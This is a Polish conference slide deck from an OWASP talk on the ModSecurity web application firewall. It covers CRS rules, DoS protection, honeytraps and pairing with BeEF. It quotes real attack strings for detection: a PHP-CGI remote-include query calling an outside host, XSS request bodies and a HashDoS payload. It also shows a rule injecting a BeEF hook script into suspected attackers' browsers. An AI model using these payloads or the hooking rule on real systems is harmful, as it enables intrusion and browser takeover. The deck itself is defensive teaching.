36
1 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected] Czy Twój WAF to potrafi? modsecurity. Leszek Miś IT Security Architect RHCA, RHCSS [email protected]

Leszek Miś "Czy twoj WAF to potrafi"

Embed Size (px)

DESCRIPTION

Prezentacja ze spotkania OWASP w Krakowie w 2013 roku, poświęcona mod_security.

Citation preview

Page 1: Leszek Miś "Czy twoj WAF to potrafi"

1Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Czy Twój WAF to potrafi?

modsecurity.

Leszek Miś

IT Security Architect

RHCA, RHCSS

[email protected]

Page 2: Leszek Miś "Czy twoj WAF to potrafi"

2Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

/whoami

• IT Security Architect @ Linux Polska Sp. z o.o.

• Lider projektu WALLF Web Gateway (http://wallf.pl)

• RHCA/RHCSS/RHCX

• Skupiam się głównie na:

– Linux Security

– Web Security

– Pentesty

– SSO

– Linux forensics

– Klastry, wirtualizacja, cloud, storage

Page 3: Leszek Miś "Czy twoj WAF to potrafi"

3Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Agenda

1.Kilka słów wstępu.

2.Podstawowe możliwości.

3.Realne przypadki

4.PoC:

- Honeypot + modsecurity

- BeeF+modsecurity = give me your real IP!

5.Podsumowanie.

Page 4: Leszek Miś "Czy twoj WAF to potrafi"

4Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

modsecurity

• Najczęściej wykorzystywany WAF na świecie

• Open source

• Tysiące dl/miesiąc

• Chronionych ponad milion serwerów

• Tryby pracy:– Wbudowany

– Reverse Proxy

Page 5: Leszek Miś "Czy twoj WAF to potrafi"

5Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

modsecurity

• Od zawsze dostępny dla Apache

• Od niedawna także dla:– Nginx (jest też naxsi oraz ngx_LUA based)

– Microsoft IIS

• Blacklist: OWASP Modsecurity Core Rule Set

• Whitelist – learning mode:– Modprofiler

– WebApplicationProfiler

– REMO

Page 6: Leszek Miś "Czy twoj WAF to potrafi"

6Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

modsecurity

Page 7: Leszek Miś "Czy twoj WAF to potrafi"

7Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

modsecurity

• Wirtualne patchowanie i integracja z DAST:

– ZAP, Arachni, RPC LUA API

• Bramka typu Intrusion Prevention dla protokołu HTTP (Reverse Proxy)

• Możliwość szybkiej modyfikacji reguł

• Ochrona przed błędami typu 0-day dla aplikacji webowych

• Geolokalizacja

• Ochrona antywirusowa dla uploadów

• Nadawanie flag ciasteczkom

Page 8: Leszek Miś "Czy twoj WAF to potrafi"

8Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Modsecurity CRS

• HTTP Protection - detecting violations of the HTTP protocol and a locally defined usage policy.

• Real-time Blacklist Lookups - utilizes 3rd Party IP Reputation

• Web-based Malware Detection - identifies malicious web content by check against the Google Safe Browsing API.

• HTTP Denial of Service Protections - defense against HTTP Flooding and Slow HTTP DoS Attacks.

• Common Web Attacks Protection - detecting common web application security attack.

• Automation Detection - Detecting bots, crawlers, scanners and other surface malicious activity.

Page 9: Leszek Miś "Czy twoj WAF to potrafi"

9Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Modsecurity CRS

• Integration with AV Scanning for File Uploads - detects malicious files uploaded through the web application.

• Tracking Sensitive Data - Tracks Credit Card usage and blocks leakages.

• Trojan Protection - Detecting access to Trojans horses.

• Identification of Application Defects - alerts on application misconfigurations.

• Error Detection and Hiding - Disguising error messages sent by the server.

Page 10: Leszek Miś "Czy twoj WAF to potrafi"

10Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Modsecurity CRS

modsecurity_35_bad_robots.data modsecurity_crs_23_request_limits.conf modsecurity_crs_47_common_exceptions.conf modsecurity_35_scanners.data modsecurity_crs_30_http_policy.conf modsecurity_crs_48_local_exceptions.conf.example

modsecurity_40_generic_attacks.data modsecurity_crs_35_bad_robots.conf modsecurity_crs_49_inbound_blocking.conf modsecurity_41_sql_injection_attacks.data modsecurity_crs_40_generic_attacks.conf modsecurity_crs_50_outbound.conf

modsecurity_50_outbound.data modsecurity_crs_41_sql_injection_attacks.conf modsecurity_crs_59_outbound_blocking.conf modsecurity_50_outbound_malware.data modsecurity_crs_41_xss_attacks.conf

modsecurity_crs_60_correlation.conf modsecurity_crs_20_protocol_violations.conf modsecurity_crs_42_tight_security.conf modsecurity_crs_21_protocol_anomalies.conf modsecurity_crs_45_trojans.conf

Page 11: Leszek Miś "Czy twoj WAF to potrafi"

11Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Realne przypadki

Page 12: Leszek Miś "Czy twoj WAF to potrafi"

12Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Realne przypadki

• Ruby on Rails XML Exploits– Podatność w kodzie parsującym parametry XML –

YAML i Symbol

– Wykonanie dowolnego polecenia systemowego

• Modsecurity potrafi parsować i walidować XML:• SecRule REQUEST_HEADERS:Content-Type "text/xml" \

"id:'900017', phase:1, t:none,t:lowercase, \

nolog, pass, chain"

SecRule REQBODY_PROCESSOR "!@streq XML" \

"ctl:requestBodyProcessor=XML"

Page 13: Leszek Miś "Czy twoj WAF to potrafi"

13Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Realne przypadki

• Positive security model dla formularza logowania + ochrona przed brute force

Page 14: Leszek Miś "Czy twoj WAF to potrafi"

14Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Realne przypadki

• Ochrona przed atakami typu Slow HTTP DOS– Slowloris:

• Atakujący wysyła niekompletny zbiór nagłówków

• „Zaśmiecenie” kolejki read request i write request

• Serwer oczekuje dalszych requestów, aż do Timeoutu

• Wysyłanie kolejnych żądań powoduje wysycenie zasobów

– R-U-dead-yet czyli RUDY attack:• Faza request headers wykonywana poprawnie

• Wolne wysyłanie request body, np 1bajt/100s

– Wiele innych jak HOIC/LOIC

Page 15: Leszek Miś "Czy twoj WAF to potrafi"

15Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Realne przypadki

• Kontrolowanie ilości połączeń w stanie Busy:

SecReadStateLimit 5

SecWriteStateLimit 5

• [Mon Nov 22 17:44:46 2010] [warn] ModSecurity: Access denied with code 400.

• Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX -

• Possible DoS Consumption Attack [Rejected]

• [Mon Nov 22 17:44:47 2010] [warn] ModSecurity: Access denied with code 400.

• Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX -

• Possible DoS Consumption Attack [Rejected]

Page 16: Leszek Miś "Czy twoj WAF to potrafi"

16Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Realne przypadki

• HULK DOS Tool:– Pythony skrypt

– Randomizowane wartości nagłówków: User-Agent, Referer, Keep-alive

– Zawsze ta sama kolejność

Page 17: Leszek Miś "Czy twoj WAF to potrafi"

17Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Realne przypadki

• CVE-2012-1823:– PHP jako czyste CGI

– mod_cgid

• Możliwość podglądu kodu źródłowego:– 'GET /index.php?-s'

– /index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.bu67778.com/a.txt'

• SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block,log,msg:'Potential PHP-CGI Exploit Attempt'"

Page 18: Leszek Miś "Czy twoj WAF to potrafi"

18Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Realne przypadki

• OsCommerce 3.0.2 – XSS

• Parametr „name” :– POST /oscommerce/index.php?

RPC&Setup&Install&DBCheck HTTP/1.1

– server=&username=&password=&name=%3Cscript%3Ealert(123)%3C%2Fscript%3E&port=&class=SQL

Page 19: Leszek Miś "Czy twoj WAF to potrafi"

19Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Realne przypadki

• Movable Types: XSS

• Parametr dbuser:– POST /cgi-bin/mt/mt-wizard.cgi HTTP/1.1

– __mode=test&step=configure&set_static_uri_to=&default_language=en-us&config=&dbtype=mysql&dbserver=localhost&dbname=&dbuser=%3Cscript%3Ealert%28%27123%27%29%3C%2Fscript%3E&dbpass=test&dbpath=&dbport=&dbsocket=&test=1

Page 20: Leszek Miś "Czy twoj WAF to potrafi"

20Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Realne przypadki

• Movable types:

Page 21: Leszek Miś "Czy twoj WAF to potrafi"

21Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Realne przypadki

• ASP.NET HashTable DoS:

• Paylodem była bardzo duża ilość losowych parametrów z pustą zawartością:

• EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138LL=&XXST36DRX=&JRYRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&MOCGW14ZU7=&I0JKKKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D3ACY8973E=&VGJPMCQHP=&AV6THWSCA7=

• SecRequestBodyLimit 131072 – domyślna wartość

• This directive is useful to reduce susceptibility to DoS attacks when someone is sending request bodies of very large sizes.

Page 22: Leszek Miś "Czy twoj WAF to potrafi"

22Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Honeytrapy

Page 23: Leszek Miś "Czy twoj WAF to potrafi"

23Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Honeytrapy

• Wykorzystanie istniejących serwerów:– Listen 8080

– Listen 8888

– Listen 8000

• Wykrywanie i blokowanie automatów skanujących pod kątem webappek na niestandardowych portach

• Tagowanie klientów

• Rozpoznawanie pod kątem prawdziwej aplikacji

Page 24: Leszek Miś "Czy twoj WAF to potrafi"

24Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Honeytrapy

• SecRule SERVER_PORT "^(8000|8080|8888)$" "id:'999004',phase:2,t:none,log,block,msg:'HoneyTrap Alert: Traffic Received on Fake Port.',\ setvar:ip.malicious_client=1"

• SecRule &IP:MALICIOUS_CLIENT "@eq 1" "id:'999005',phase:2,t:none,log,block,msg:'HoneyTrap Alert: Known Malicious Client.'"

• Integracja z WASC Web Honeypots

Page 25: Leszek Miś "Czy twoj WAF to potrafi"

25Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Mięsko ;)

Page 26: Leszek Miś "Czy twoj WAF to potrafi"

26Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

BEEF

• The Browser Exploitation Framework – zaawansowane narzędzie do pentestów

• Browser as Pentester's gateway || C&C

• Wymagane: – Zmuszenie użytkownika do wejścia na stronę

(FB,TW, krótkie linki)

– Phishing

– XSS – dla tych którzy uważają, że XSS nic nie znaczy

Page 27: Leszek Miś "Czy twoj WAF to potrafi"

27Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

BEEF

• Pozwala na przejęcie kontroli nad przeglądarką użytkownika poprzez wstrzykiwanie hooków:– Bind shell

– Javascript command

– Odwiedzane URLe

– Skanowanie portów/dns enum/network discovery

– Man In The Browser

– Tunelowanie

– Keylogger

• Integracja z metasploit, np:– XSS->Hook->przejęcie kontroli nad przeglądarką

– Wykorzystanie podatności, np. w Adobe

– Dostęp do shella z poziomu metasploita

Page 28: Leszek Miś "Czy twoj WAF to potrafi"

28Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

• W jaki sposób wyśledzić prawdziwy adres źródłowy atakującego? – Proxy

– TOR

• Analiza powłamaniowa

Page 29: Leszek Miś "Czy twoj WAF to potrafi"

29Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Co mamy?

• Modsecurity jako WAF:– Wykrywanie ataków

– Aktywacja Beefa

• BeEF jako browser exploitation framework:– Hookowanie atakujących

– Enumeracja lokalizacji atakującego

• AuditConsole:– Centralna konsola do analizy logów

Page 30: Leszek Miś "Czy twoj WAF to potrafi"

30Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

modsecurity+BEEF

• Idea przedstawiona na Appsec 2012 USA przez Rayna Barnetta

• Ograniczenie do połączeń do tych „z browsera”

• Monitorowanie atakujących

Page 31: Leszek Miś "Czy twoj WAF to potrafi"

31Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

modsecurity+BEEF

• Filtrowanie wyjścia: – SecResponseBodyAccess

• Modyfikacja HTTP Response data– SecContentInjection

– SecStreamOutBodyInspection

– Zmienna STREAM_OUTPUT_BODY

– Operator @rsub

• SecRule STREAM_OUTPUT_BODY " <at> rsub s/FUCK/****/" "phase:4,t:none,log,auditlog,pass"

Page 32: Leszek Miś "Czy twoj WAF to potrafi"

32Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

modsecurity+BEEF

• W jaki sposób zidentyfikować atakującego?

• Założyć pułapki:– Fake cookies

– Robots.txt

– Ukryte pola formularzy:• SecRule STREAM_OUTPUT_BODY "@rsub

s/</form>/<input type="hidden" name="admin" value="false"></form>/id" id:"999999", phase:4,t:none,nolog,pass"

Page 33: Leszek Miś "Czy twoj WAF to potrafi"

33Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

modsecurity+BEEF

• SecRule ARGS:admin "!@streq false" "id:'9999923',phase:2,t:none,log,block,msg:'Honeytrap alert: hidden form data manipulated',setvar:tx.malicious_client=1"

• SecRule TX:MALICIOUS_CLIENT "@eq 1" "chain,id:'999232', phase:4, t:none, pass, log,msg:'hooking to beef'"

• SecRule STREAM_OUTPUT_BODY "@rsub" s/</html>/<script src=http://10.0.0.1:5000/functions.js"></script></html>

Page 34: Leszek Miś "Czy twoj WAF to potrafi"

34Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

modsecurity+BEEF

• Geolokalizacja:– Lokalnie dostępne access pointy

• Uzyskanie dostępu do CMD celem wysłania ICMP do naszego hosta:– Analiza ruchu i wykrycie faktycznego adresu IP

Page 35: Leszek Miś "Czy twoj WAF to potrafi"

35Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Podsumowanie

• W modsecurity drzemią ogromne możliwości i potencjał

• Reguły oparte na blacklistach prędzej czy później mogą zostać ominięte

• Whitelisting trudny we wdrożeniu, utrzymaniu i czasochłonny – zmieniające się aplikacje

• Audytowanie logów – konieczność

Page 36: Leszek Miś "Czy twoj WAF to potrafi"

36Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]

Podsumowanie

Dziękuję za uwagę.

[email protected]